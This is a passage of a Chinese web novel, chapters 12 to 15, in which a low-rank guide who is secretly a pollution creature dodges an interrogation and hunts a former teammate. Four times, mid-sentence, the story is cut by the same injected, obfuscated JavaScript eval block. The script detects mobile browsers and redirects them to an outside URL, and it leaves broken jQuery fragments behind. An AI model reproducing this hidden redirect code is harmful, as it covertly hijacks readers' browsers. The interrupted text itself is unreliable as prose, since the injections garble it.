这份友谊,还能维持多久? 她不知道。 “那,我先走了。” 西伊披上外套,走到门口,还不忘担忧地回望一眼。 “小彗,我知道你心气高。但工作总是做不完的,别太累了。” 池彗笑了:“放心,我有分寸。” 对如今的她而言,精神疏导早已不是负担,而是提高污染值的奖励。只是这话……不能解释给西伊听罢了。 门合上了。 池彗站在原地,望着合拢的门,轻轻叹了口气。 虽然她经常骗人,但欺骗相交多年的朋友……还是会感到良心一痛啊。 ………… 下午六点,池彗正准备收工离开,终端突然疯狂震动起来。 她低头一看——是兰斯·温斯顿的紧急工作短讯: 【池彗,现在立刻马上,来我办公室一趟!】 池彗:“?” 是她最近对兰斯太好了吗?这家伙咋开始蹬鼻子上脸了? 她翻了个白眼,准备当作没看见。 然而,就在这时,走廊尽头传来整齐的脚步声。 池彗的动作顿住了。 她透过疏导室的单层玻璃往外看——一队全副武装的哨兵正快步走来,领头的是一个陌生面孔,穿着13区白塔的制式哨兵服,一看就不是好相与的。 他们目标明确,径自闯入隔壁疏导室—— “池彗,池向导是哪位?” 坏了,冲她来的? 池彗心里咯噔一声,大脑飞速运转。 兰斯不可能派人抓她——他没那个脑子。那会是谁?防卫部?等级评定处?还是……有人发现了什么? 脚步声越来越近。那队哨兵已经得了隔壁向导的消息,迅速朝她的方位包围而来。 来不及想了。 池彗扫了眼疏导室——没有后门,窗户是封闭的,唯一的出口就是正门。 但正门已经被堵死了。 等等。 她的目光落在天花板上。 通风管道。 * “砰!” 疏导室的大门被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243024|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人一脚踹开。 哨兵们鱼贯而入,为首队长持枪指向正中座椅:“池向导,请随我们走一趟——” 他的话没有说完。 因为,屋内空无一人。 队长迅速扫视整个房间——办公桌、椅子、疏导床、储物柜……没有可以藏人的地方。 一名哨兵上前几步,摸了摸座位上残留的余温,回头道:“长官,她应该没走远。” “刚走。” 队长转身,大步走出疏导室,“快去封锁这层,别给她上电梯的机会!” “是!” 几名哨兵冲向电梯间。队长则亲自跑向楼梯口。 电梯、楼梯、紧急通道——只要守住了这几个出口,一只苍蝇都飞不出去。 队长站在楼梯口,锐利的目光扫过楼梯。 然而,几分钟过去了,没有任何动静。 “队长,电梯那边没有。” “紧急通道没有。” “防火门锁着的,没人动过。” 队长的眉头皱了起来。 不可能。 一个大活人,怎么突然就凭空消失了? …… 池彗自然没上电梯,也没上楼梯。此刻的她,正在通风管道内阴暗爬行。 管道很窄,勉强能容一个人通过。金属外壁又硬又凉,咯得她有些难受。她猫着腰,手脚并用地向前移动,尽力缩小着自己的存在感。 不知道爬了多久,前方出现了一个分岔口。 她停下来,正准备判断方向—— “你在做什么?” 身后突然传来一个男声。 池彗:“!” 她一个激灵,猛然探出精神触手,直击对方面门—— 然而,她的精神攻击并未成功。 对方只是微微歪了歪头,眼中闪过一丝兴味。 “放轻松,”他说,“我也是来这躲人的。” “是吗?” 池彗不太相信。 就在这时,管道下方传来密集的脚步声。 “分头搜!她肯定还在这一层!” 手电的光束透过管道缝隙扫进来,池彗屏住呼吸,一动不动。 等那束光移开,她才慢慢放松下来。 再回头,那男人已经不知何时来到了她的身侧,饶有兴致地打量着她。 二人缩在窄窄的管道内壁,距离很近。他的睫毛扫在池彗脸侧,微微地痒。 池彗不动声色地垂眸。这人的制服是深黑色的,没有任何标识,但衣料质地上乘,一看就价值不菲,不是普通哨兵能穿得起的。 “池彗,对吗?”他轻声问。 池彗没有回答。 见她不语,男人笑了笑,从口袋里拿出一对手铐。 “别紧张。” 他说着,将其中一端拷在池彗手腕上,另一端则拷在自己手腕上。 金属冰凉,紧贴着皮肤。 “好细的手腕。”他轻笑一声。 池彗的表情阴沉下来。 “你到底是谁?” 他没有立刻回答,只是侧耳听了听下方的动静。等那些脚步声远去,他才转过头,淡淡笑了笑: “池彗小姐,你好。” “自我介绍一下,我叫霍川,刚从2区白塔调来,目前是14区白塔最高决策人。” “根据某人提供的线索,我们怀疑你与一起牵涉颇深的贵族腐败案件有关,请和我们走一趟吧。” 12. 第 12 章 贵族腐败案件? 池彗的心沉了下去。 她一个F级……不对,E级向导,能跟什么那群贵族扯上关系? 除非…… 是那个实验室。 霍川看着她的表情变化,嘴角微微扬起。 “看来,池小姐已经猜到了。” 他说,“那就省得我多费口舌了。” 他抬起被铐住的手,轻轻晃了晃。 “走吧,我们换个地方聊。” 池彗盯着他,没有动。 “放心,”霍川补充道,“通风管道虽然窄,但两个人还是能过的。只是——” 他顿了顿,笑意加深,再度凑上来。 “只是,得贴得近一点。” “池小姐,你也不想……被下面那群13区的哨兵发现吧?” 池彗:“……” 这人有病。 经此一役,她心念一转,算是明白了。 八成是这会S01回到白塔,把任务书交了上去,其中提到了她。 任务书一出,自己进过听觉实验室的消息,就暴露了。 白塔一共有18个区,六大家族,各个势力错综复杂。那个“听觉实验室”,绝对是某个恶心财阀搞出来的产物。而自己无辜闯入,被人牵连,现在被好几个势力盯上了。 虽然自己算是兰斯的人,处于他的庇护之下。但……一个低等级向导,兰斯真的会保她吗? 就算兰斯会保她,那些势力肯定也不信。 想着,池彗垂下眼帘,松了口气。 反正,不是污染物的事暴露了就好。 在听觉实验室的事上,她基本上是无辜的。霍川再怎么审,也绝对审不出什么东西来。 “我明白了,原来是这样。” 想到这里,她笑了笑,抬眼看向霍川,无辜地说,“阁下,我刚刚会逃,只是被那群突然闯入的哨兵吓破了胆。既然误会解开,我愿意把我知道的都说出来,助阁下一臂之力。” …… 审讯室的门在池彗身后合拢。 房间不大,一张桌子、两把椅子。昏暗的灯光照在二人头顶,投出两道模糊的影子。 霍川在池彗对面坐下,手指敲了敲桌面。 “池彗,14区白塔F级——不对,现在是E级向导。” 他翻开手中的文件夹,抑扬顿挫地念,“福利院出身,七年前考入向导学院。毕业后,在14区底层打杂多年,忽然一朝翻身,被兰斯·温斯顿收入团队,至今。” 说着,他抬起眼,看向她。 “履历很干净。干净得……不太像真的。” 池彗:“。” 这人好烦。 她抿了抿嘴角,迎上他的目光:“我确实没什么特别的。” “是吗?” 霍川合上文件夹,身体微微前倾。 “一周前,你参与了A-7污染区清理任务。任务过程中,你和你的哨兵小队误入了‘听觉实验室’——一个本不该存在的、疑似涉及非法研究的污染设施。” 他顿了顿。 “据S01所言,你们在实验室里遇到了他,并与他短暂合作。之后,你们找到了出口,而他则返回继续清理任务。” “是。”池彗点头,“这一点,我在我的任务报告书里也有陈述。” “我没拿到你的任务报告书。”霍川直白道,“它被兰斯·温斯顿扣下了。” 池彗:“……” 她的废物上司,倒是挺有政治嗅觉的。 想到先前他还特意给她发消息提醒,还亲自过来捞人,池彗有些疑惑。 兰斯……不是一向不把下属放在眼里的吗?怎地忽然转性了,特意这样保她? 他若发现了什么,直接把疑点提交给白塔就行,不必如此费心帮她掩饰。 “怎么,你的上司这样照顾你,你很意外?”霍川观察着她的表情。 “有一点。”池彗坦然承认。 霍川笑了笑,没接话。 他翻到文件的下一页,继续问:“在实验室里,你们遇到了一个自称13区向导的女人,叫庞水?” “是。” “她后来怎么样了?” “变成了污染物。”池彗说,“她袭击了我们,被我们合力击杀。” “击杀的过程?” “我和C39配合,用幻境迷惑了她,S01负责主攻。” 霍川盯着她看了几秒。 “C39,”他缓缓念出这个编号,“这个哨兵,是死在A-7污染区了吗?” 池彗的表情没有任何变化。 “是的,”她微微点头,“和S01分开后,我们遇到了高级污染物。C39为了救我,不慎跌落悬崖,失踪了。” “失踪了?” 霍川挑了挑眉,“也就是说,没找到尸体?” “是的。”池彗再次点头。 霍川没有再追问。 他靠在椅背上,手指在桌面上轻轻敲击,发出有节奏的声响。 笃、笃、笃。 “池向导,”他突然开口,语气变得随意起来,“你有没有听说过‘再生之心’?” 池彗微微一怔。 再生之心? 但她面上没有任何异样,只是微微偏了偏头,困惑地问:“那是什么?” 霍川又盯着她看了几秒。 然后,他忽然笑了。 “池彗小姐,”他说,声音里带着一丝玩味,“你知道吗,S01的报告书里提到,你的伤势,和当时地面上的血迹……对不上。” 池彗眉头微皱:“什么意思?” “意思就是……” 霍川身体前倾,距离有些近,压迫感扑面而来,“根据他的观察,你后来受的伤应该不轻,出血量不小。” 他顿了顿。 “但你回来之后,短短几天就恢复了。” 池彗的心沉了一下。 但她面上依然平静:“我私下有坚持锻炼,和一般向导比起来,恢复能力确实不错。” “是吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243025|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”霍川挑眉,“那我再问一个问题——” 他刚开口,审讯室的门突然被人一脚踹开。 “砰!” 兰斯·温斯顿大步流星地走进来,身后跟着两个全副武装的哨兵。他的脸色很不好看,湛蓝的眼睛里冒着火。 “霍川,”他冷声道,“谁给你的权力私自审我的人?” 霍川连站都没站起来。 他只是靠在椅背上,懒洋洋地看着兰斯,嘴角挂着若有若无的笑意。 “温斯顿少爷,”他说,“这里是我的审讯室。我审谁,需要向你报备吗?” “她是我的人!”兰斯指向池彗,“你没权利私自审她!” “私自?” 霍川轻笑一声,从口袋里掏出一份文件,随手扔在桌上。 “看清楚,这是什么。” 兰斯拿起文件,匆匆扫了一眼,脸色变了。 那是一份委任状。 【兹委任霍川为14区白塔临时最高决策人,即日起生效。落款:2区白塔主理人·霍燃。】 “2区的人,下派来14区当最高决策人?”兰斯的声音里带着难以置信。 “有问题吗?”霍川淡淡反问,“白塔的18个区本就是一体,哪区分部缺人,其他区派人支援,不是很正常?” 他站起身,走到兰斯面前。 身高相仿,但霍川的气势明显压了兰斯一头。 “还是说,”他微微低头,看着兰斯的眼睛,“温斯顿少爷觉得,你们14区的人,比我们2区的高贵?” 兰斯的脸色一阵青一阵白。 他张了张嘴,却什么也说不出来。 池彗坐在一旁,默默看着这一幕。 霍家是狼人精神体,战力更占优势;而兰斯所在的温斯顿家族精神体是狐狸,在政治斗争上略胜一筹。二者同属白塔贵族派系,利益牵扯很深。只是,兰斯不是正儿八经的继承人,霍川却是家族长子,从小被当作下代家主培养,拥有更多实权。 真要比起来,他是敌不过霍川的。 “正好。” 兰斯咬了咬唇,湛蓝的眸子眯起来,不甘示弱道,“之前A-7污染物的失踪一事,我这儿还有些疑点没来得及问池彗。不如让我留下,陪你一起审问,如何?” “不行。” 霍川淡淡瞥他一眼,表情漠然,“温斯顿少爷,您考过白塔的审讯执照吗?” 兰斯愣在原地。 审讯……执照? 什么玩意? “在白塔,想要获得进入审讯室的资格,可是要有执照的。” 霍川好心提醒,“您不会不知道吧?” 兰斯的脸色更难看了。 这时,兰斯的副官毫无眼力见地举起一只手,小声道:“大人,我考过这个执照,我可以跟霍长官一起审讯池向导。” 兰斯:“……” 池彗默默瞥了兰斯一眼,没好意思说,当年,这个证她也考过。 也就是说,在场四个人,只有兰斯一个是草包哦。 13. 第 13 章 “……行吧。” 兰斯纠结半晌,终还是咬了咬牙,“我让副官陪你一起去。” 他顿了顿,又补充道:“但你要是敢对她动私刑——” “放心。”霍川打断他,“我是个守规矩的人。” 兰斯盯着他看了几秒,最终冷哼一声,转身离开。 走到门口时,他忽然停住脚步,回头看了池彗一眼。 那一眼里,有担忧,有不甘,还有一丝淡淡的……失落? 然后他走了。 副官站在原地,有些不知所措。 霍川没什么架子,让人又搬来一把椅子,看向副官:“坐吧。” 副官乖乖坐下。 池彗看着这一切,忽然有点想笑。 兰斯……居然真的来救她了? 虽然没救成。 但这态度,和她认识的那个兰斯·温斯顿,判若两人。 “好了。” 霍川的声音把她拉回现实。 “闲杂人等都走了,我们继续。” 他翻开文件夹,目光再次落在池彗身上。 “池向导,我再问你一遍——” 他顿了顿。 “你真的不知道再生之心吗?” 池彗迎上他的目光,平静道:“我说过了,我不知道。” “不知道?” 霍川轻笑一声,忽然站起身,绕过桌子,走到她身边。 他俯下身,凑近她的耳边: “你知道吗,我这个人,最讨厌别人骗我。” 池彗的瞳孔微微收缩。 下一秒,一股无形的力量从她体内涌出—— 污染值。 或者说,她作为污染物,特有的“催眠”能力。 她不能让霍川继续问下去了。 这个人太敏锐,问的问题一个比一个危险。再这样下去,就算她是无辜的,也会被他问出“破绽”。 她得给他一个下马威,让他知道,她不是好欺负的。 与刚才纯粹的精神力攻击不同,污染的力量悄然钻入霍川的精神域,漫溯开来—— 让她看看,这人内心深处,最耿耿于怀的东西,到底是什么吧。 …… 池彗看到了一张成绩单。 她怔了怔,目光下移。霍川的名字,在榜上位列第二。 第一的名字,则被淡淡雾霭遮住,只露出第二个字下面小小的“心”字底。 “霍川。” 这时,身旁有人拍了拍她的肩,安慰道,“第二名也很好了。是那个向导太逆天,教科书那么厚,她居然全背下来了……” 池彗:“?” 不是,不就是做第二名吗?有什么好大惊小怪的? 她这个垫底多年的向导学院F级吊车尾都没哭过呢,他有啥好哭的? 果然是含着金汤匙出来的。这抗压能力,未免也太差了些。 污染值用一点少一点。池彗迅速勾起了他内心深处的痛苦情绪,便退了出来。 一出精神域,她吓了一跳。 审讯室里,霍川的脸微微泛红。 他的眼睛有些失焦,嘴唇抿成一条线,似乎在极力克制着什么。 然后,一滴眼泪从他眼角滑落。 池彗:“……” 什么情况? 她只是想勾起他一些痛苦的回忆,给他个下马威而已。没想到……这人居然直接哭了? 霍川猛地后退半步,抬手擦去那滴泪,看向池彗的眼神变得复杂。 “你……”他开口,声音沙哑。 池彗眨了眨眼,无辜地看着他: “阁下,您没事吧?” 霍川盯着她,没有说话。 他的眼眶还有些红,但眼神已经恢复了清明。 “池彗。”他缓缓开口,一字一顿,“你刚才,做了什么?” “我什么都没做。”池彗面不改色,“倒是您,突然就……哭了。” 霍川的脸色变了一瞬。 他深吸一口气,忽然笑了。 那笑容很冷。 “好。”他说,“很好。” 他重新坐回椅子上,看向池彗的眼神不再玩味,变得有些忌惮。 “池向导,我忽然想起一件事。” 他翻开文件夹,抽出其中一页。 “根据记录,你因为没有精神体,一直困在F级,无法提升。” 他顿了顿。 “但就在几天前,你却突然觉醒了精神体,升为E级。” 他的目光锐利起来。 “你觉醒的精神体是什么?” 糟了。 池彗的心重重一跳。 她根本没有精神体,那天在工作人员面前展示的“精神体”,实际上是她的污染化身。 “具体种类,我也不太清楚。但……是蝴蝶。” “蝴蝶?” 霍川重复了一遍,笑了。 “好。那就让我们去检测一下你的精神体。” 他站起身。 “我很好奇,一个无法觉醒七年的向导,突然觉醒的精神体,到底长什么样。” * 精神体检测室位于白塔三层。 池彗跟在霍川身后,副官小心翼翼地走在旁边。一路上,霍川没有再说话,但他的眼神时不时扫过池彗,仿佛要在她身上盯出一个洞来。 检测室的门推开,里面坐着一个打盹的工作人员。 “醒醒。”霍川敲了敲桌子。 工作人员一个激灵站起来:“阁、阁下!” “给她做精神体检测。”霍川指了指池彗,“要详细的那种。” 工作人员不敢怠慢,立刻拿出检测仪器。 “请、请您释放精神体。” 池彗深吸一口气,闭上眼睛。 精神力缓缓释放。 一只蝴蝶出现在她肩头。 赤色的翅膀,边缘带着暗红的花纹。翅膀微微扇动,洒下细碎的光点。 工作人员仔细看着那只蝴蝶,眉头渐渐皱起。 “这……”他犹豫道,“这是什么蝴蝶?” 池彗的心提了起来。 哨兵和向导的精神体,一般都是现实中存在的动物。植物系的很少,但也不是没有。可她的“赤眼蝶”,本质上是用污染肢体伪装的——是现实中没有的幻想生物。 她暗中调动污染值,将蝴蝶翅膀上那只大大的赤色眼球隐藏起来。 现在,那只蝴蝶看起来……应该只是一只普通的、颜色鲜艳的蝴蝶了吧? 工作人员翻看资料库,一页一页 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243026|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地比对。 “找不到。”他挠了挠头,“我没见过这种蝴蝶。” 霍川的眉头皱了起来。 池彗的心跳加快。 就在这时,工作人员忽然“啊”了一声。 “我明白了!”他兴奋道,“这可能是过去的某种濒危物种。” 他指着蝴蝶翅膀上那些艳丽的花纹:“您看,它颜色这么艳丽,在危机重重的野外,应该很难活下去。所以渐渐濒危,现在已经很少见了。” 池彗连忙点头:“对哦。” 工作人员合上资料库,对霍川说:“阁下,没问题。虽然稀有,但确实是精神体的一种。” 霍川盯着那只蝴蝶看了很久。 蝴蝶静静地停在池彗肩头,翅膀微微扇动。 最终,他收回目光。 “走吧。”他说。 池彗暗中松了口气。 还好,瞒过去了。 刚刚查资料的时候,她略微篡改了他的意识,消耗了3%污染值。 * 走出检测室时,走廊尽头传来嘈杂的人声。 一行人迎面走来,穿着统一的作战服,是刚从A-7污染区轮换回来的清理小队。 为首的是一个年轻向导,穿着浅蓝色的向导制服,胸口的徽章显示他是B级。他的下巴微微扬起,目光扫过池彗时,明显顿了一下。 “这是谁?”他问身边的哨兵。 哨兵小声说了什么,向导的眉头皱了起来。 “就是她?” 他的声音不大,但足够让走廊里的人听见,“那个让整支小队全军覆没的F级向导?” 池彗的脚步停住了。 霍川也停住了,饶有兴致地看向这一幕。 年轻向导走到池彗面前,上下打量着她。 “A-7污染区的任务报告我看了。”他说,语气里带着毫不掩饰的轻蔑,“听说,你是带队向导?” 池彗没有说话。 “一定是带队向导资质太差,才会让队伍全军覆没的。” 见她不语,年轻向导笑了笑,转头对身边的哨兵说,“F级就是F级,再怎么努力,也改变不了本质。” 他身后的哨兵们跟着笑了起来。 “……” 池彗看着他们,也笑了。 她的精神力蔓延开来,无声地缠上那些哨兵的脚踝、手腕、脖颈—— 下一秒,五个人同时倒地。 “哗啦啦——” 像多米诺骨牌,整整齐齐地躺了一地。 笑声戛然而止。 年轻向导的笑容僵在脸上。 他低头看着自己的队友,又抬头看向池彗,眼中满是难以置信: “你——” “是啊,F级就是F级,再怎么努力,也改变不了本质呢。” 她垂眸,眼中含着不加掩饰的讽刺,“那您这个B级向导的本质,又是什么呢?” 向导惊呆了。 他没想到池彗出手如此果断。张了张嘴,却什么也说不出来。 “你、你给我等着!” 他匆忙落下一句话,然后落荒而逃。 然而,他没有注意到,在他身后,一只小小的透明水母,正顺着他的皮肤往上攀爬,落入衣领,然后……消失不见。 14. 第 14 章 精神体自证后,池彗的生意转好,开始有更高等级的哨兵来找她做精神疏导。 高等级的哨兵更加敏感,能容纳的污染也更多。池彗迅速吸取着他们的污染值,壮大己身。 很快,她的污染值,达到了110%。 突破了。 她抬起手,掌心泛起妖异的红光。 光点凝聚,成形,最后—— 一只赤色的蝴蝶,缓缓从她指尖飞出。 它和她用来伪装精神体的那只一模一样。赤色的翅膀,边缘带着暗红的花纹,巨大的赤色眼球缓缓转向它的主人,诡异极了。 但池彗知道,这不是精神体。 这是她的一部分。 她的力量源头,她的意志,她的……分-身。 蝴蝶在她眼前盘旋了两圈,然后轻轻落在她的肩头。 她能感觉到它的“视线”——虽然它没有真正意义上的眼睛,但她就是能看见它看见的一切。 “有意思。”池彗轻声说。 她心念一动,蝴蝶飞起,穿过虚掩的门缝,飞向走廊。 外面的世界,逐渐在她眼中呈现出来。灰白色的墙壁、惨白的应急灯,还有偶尔经过的哨兵和向导。 它飞过疏导室,飞过电梯间,飞过楼梯口…… 然后,它停在了一扇门前。 兰斯·温斯顿的办公室。 * 兰斯最近总觉得不对劲。 似乎……有什么东西,在他看不见的地方,一直盯着他。 他抬起头,环顾四周,却什么都没有发现。 兰斯揉了揉眉心,继续低头看手中的报告。 那是一份化验单。 三天前,他偷偷让懂药理的异能者检查了池彗每天给他泡的茶水。 结果出来了——池彗给他下药了。 兰斯盯着化验单那几行字,久久没有回神。 池彗、给他、下药? 从A-7污染区回来后,那个温柔体贴、百依百顺,对他格外温柔的池彗…… 给他下药。 兰斯的手指微微收紧,将那张纸捏出褶皱。 然后,他松开手,把报告扔进了碎纸机。 “嗡——” 纸张被迅速搅碎,落入废料箱。 兰斯靠在椅背上,闭上眼睛。 窗外,一只赤色的蝴蝶停在窗沿上,巨大的眼球转了转,忠实地将一切转播给它的主人。 …… 池彗收回视线,皱了皱眉。 兰斯发现了她下药的事,却没有揭发她,反而……把报告毁了。 这是准备给她憋个大的? 池彗挑眉。 这几日,她更加谨慎,分-身没日没夜地盯着兰斯,想要勘破他的动作。 然而,兰斯还是不露声色,甚至……对她更好了。 第二次月会,他还是选择带池彗一起,甚至给她引荐了向导部的部长——S级向导闫月。 闫月是14区白塔唯一的S级向导,手中权力很大。得知池彗需要贡献点升级后,她眯了眯双眸,笑着给她派了个新任务。 “最近,几个从污染区回来的哨兵出现了污染值莫名升高的症状。我手下的向导人手不够,你能帮我调查一下吗?” “如果调查得好,”她拍了拍池彗的肩,“我就从私人账上拨给你一千个贡献点,如何?” “嘶——” 月会上哨兵很多。大家耳朵都很好,闻言,身旁顿时传来倒抽冷气的声音。 池彗怔了一下。 一千个贡献点可不是小数目。从前作为F级向导打工的她,得全勤精神疏导一整个月,才能获得2个贡献点。就算她如今升级成了E级,这个数字,也不过变成了5个。 换言之,只要把这个任务完成得让闫月满意,她获得的奖励,将比从前多年打工加起来获得的贡献点都多。 池彗可耻地心动了。 可她又觉得悲哀。底层的人努力一万天,也比不过为高位者做牛做马一次。 这就是世界的规则。 “好。”她说,“我接了。” 闫月满意地点点头,又看了兰斯一眼。 “兰斯少爷,你挑助理向导的眼光,倒是越来越好了呢。” * 任务并不复杂。 闫月提供的名单上,共有五个哨兵。 他们的共同点是:刚从污染区回来、污染值一直降不下去,以及……精神域里出现了奇怪的、不属于他们的污染痕迹。 池彗迅速找到了前两个哨兵,进入他们的精神域一探究竟。 然而,她很快发现——这两位哨兵只是最近任务出多了,污染值飙升,又没贡献点找向导,才谎称自己精神域出了问题。 池彗:“……” 换做以前,她高低要给这几个家伙点颜色看看。但现在,她只是沉默着把他们精神域里的污染吸干,然后看着自己暴涨的污染值,露出职业微笑: “好了。” 两名心虚的哨兵不敢多言,迅速跑路。 池彗则叹了口气,站起身来,按照名单去找第三个。 第三个哨兵的编号是D15,一个年轻的中尉,刚从A-7污染区外围轮换回来。 池彗推开疏导室的门时,他正坐在椅子上发呆,脸色苍白得吓人。 “池、池向导。”他看见她,明显松了口气,“您来了。” “躺好。”池彗没有废话,直接走到他身边,伸手探向他的额头。 精神力沉入他的精神域。 D15的精神图景是一片灰色的废墟,到处都是污染侵蚀的痕迹。池彗熟练地开始吸收那些杂质,准备尽快完成任务—— 然后,她停住了。 在废墟的角落里,有什么东西在动。 很小,半透明,触须轻轻摆动。 是一只水母。 池彗的瞳孔微微收缩。 她见过这只水母。 在A-7污染区,在那个裂缝的边缘。它是C39的精神体。 她亲眼看着它消散的。 但它又出现了。在另一个哨兵的精神域里,像一只寄生虫一样,安静地蛰伏着。 池彗盯着那只水母,手指微微收紧。 莫非,C39……还活着? 不,不可能。她亲眼看着他坠入裂缝,亲眼看着他的精神体消散。 那这是什么东西? 污染物? 污染物的分-身? 有污染物……混入白塔了? 池彗立即抬手,指尖凝聚起微弱的红光。她要把这东西拍死在这里,免得它继续害人— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243027|197823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — 然而,就在她的力量即将触碰到那只水母的瞬间,它动了。 水母猛地收缩,触须疯狂摆动,然后—— 它从D15的精神域里冲了出来。 池彗:“?” 她眼前一花,一只半透明的小水母已经从D15的额头上浮出,悬浮在半空中,和她对视了不到一秒—— 然后,它跑了。 速度快得惊人,穿过虚掩的门缝,消失在走廊。 池彗愣了一下,倏然起身。 “池、池向导?”D15茫然地睁开眼,“怎么了?” “躺着别动!” 她甩下一句话,已经冲出了门。 走廊里空无一物,水母已经没了踪影。 池彗加快脚步,顺着精神力残留的痕迹一路追去。她的速度不慢,但也不敢太快——在不暴露底牌的情况下,她只是一个普通的E级向导,无法表现出不符人类的体能。 该死。 水母的速度太快了。她追到楼梯口时,那股残留的污染,已经淡得令人几乎感觉不到。 就这么让它跑了? 池彗站在原地,咬了咬牙。 然后,她闭上眼睛。 精神力消耗——5%。 一只赤色的蝴蝶从她肩头浮现。 “找到它。” 蝴蝶振翅飞起,瞬间消失在楼梯的阴影里。 池彗靠在墙上,假装疲惫地喘气,实则闭上眼睛,去看分-身的视野。 蝴蝶行动敏捷,飞过楼梯间,飞过走廊,飞过一扇又一扇门。它比水母更快、更敏锐,更能追踪那些细微的精神力残留。 终于,在某处楼梯间,它看见了那只水母。 水母正在拼命逃窜,透明的躯体在昏暗的光线中几乎隐形,但它逃不过蝴蝶的眼睛。 蝴蝶追了上去。 翅膀张开,赤色的光芒在黑暗中闪动。 水母试图躲避,但蝴蝶的速度太快了。两只污染物在狭小的楼梯间内缠斗,触须与翅膀纠缠—— “砰!” 水母见势不妙,猛然爆开。 池彗睁开眼睛。 她能感觉到,自己的蝴蝶分-身,与那只水母,一起消失了。 “呼……” 她靠在墙上,轻轻呼出一口气,眉头微皱。 * “……唔。” 另一边,阴暗的角落里,半只身体透明化的少年捂住嘴,嘴角缓缓溢出透明的黏液。 生理性的泪水从他的嘴角眼角不住滑落。他长长的睫毛忽闪着,一阵充盈的眩晕感缠绕在眼前。 “好痛。” 他轻声呢喃,半透明的躯体在昏暗的光线中若隐若现。 刚才那一击,那只蝴蝶与他同归于尽,毁掉了他好不容易凝聚出的分·身。 好痛。 真的好痛。 但…… 他还活着。她也还活着。 少年缓缓放下手,低头看向自己的掌心。 那双手时而透明,时而凝实,像介于存在与不存在之间的幽灵。 “姐姐……” 他又呢喃了一声,仰起头,望向天花板。 那里,有一根通风管道,通向白塔的每一个角落。 通向—— 她。 15. 第 15 章 送走第三个哨兵后,池彗坐在疏导室里,开始复盘。 现在,她基本确定:C39没死,且和她一样成为了污染物。 并且,他之所以没死,很可能是得到了霍川口中的宝物“再生之心”。 这家伙,掉进地缝都能不死,运气真好。 池彗眼中闪过忌惮。 不过没关系。没死的话,她就再杀一次。 * 当晚,池彗在兰斯办公室加班至深夜。 几名同事都已离开,兰斯也已经回到休息室小憩。一个落单的、柔弱的向导,对暗处虎视眈眈的污染物而言,正是绝佳的诱饵。 她走出办公室,在走廊上缓步前行,指尖轻轻摩挲着袖口内侧藏着的小刀。分-身蝴蝶已经提前放出,在走廊尽头的阴影里静静等待。 只要C39出现,她就让蝴蝶去引兰斯,然后—— “姐姐。” 熟悉的声音在身后响起。 池彗没有回头。 瞬息之间,对方已然贴上她的后背。那冰凉的水母触足带着微微的湿意,在她皮肤上不断游走、爬动,然后恶作剧似的撩开她的袖子,又很快退开。 他似乎并不急于攻击,只是阴暗地窥伺着、触碰着。 熟悉的水母出现在池彗面前,依然是半透明的样子,模样却膨胀得无比巨大,将池彗半裹在怀里,晶莹剔透,像果冻一般。 “姐姐你看,我的精神体……现在,已经变得这么大了。” 池彗:“?” 这是可以说的吗审核? 她目光一偏,低头看了看那团果冻状的透明物体,又抬头看向C39。 少年的脸色苍白,皮肤下隐约可见青色的血管。他的眼睛还是她记忆中的模样,瞳孔中却比以往多了许多复杂的情绪。 “姐姐。” 他又叫了一声,声音很轻地问她,像在呢喃。 “你为什么……要杀我呢?” 他明明已交付了全部信任,甚至愿意豁出性命来保护她。结果……却是在最需要帮助的时刻,收到了池彗的背叛。 池彗垂下眼帘。 她本想解释一下自己当时诡异的状态,以及药物作用下紊乱的心智,但话到嘴边,又止住了。 ——C39是不会信的。 有时候,谎言,反倒比真话更可信。 “我没有杀你。” 池彗笑了下,平静地说,“我是在救你啊。” C39愣了一下。 “救……我?” “当时那种情况,你被女孩彻底污染,污染值99%——任谁都知道,你已经没救了。”池彗的语气笃定,“那个实验室一看就有宝物。你只有掉下去,死而后生,才有一线生机。” “是吗?” C39似乎被她绕进去了,居然真的歪了歪头。 “是啊。” 池彗撒起谎来,脸不红心不跳。 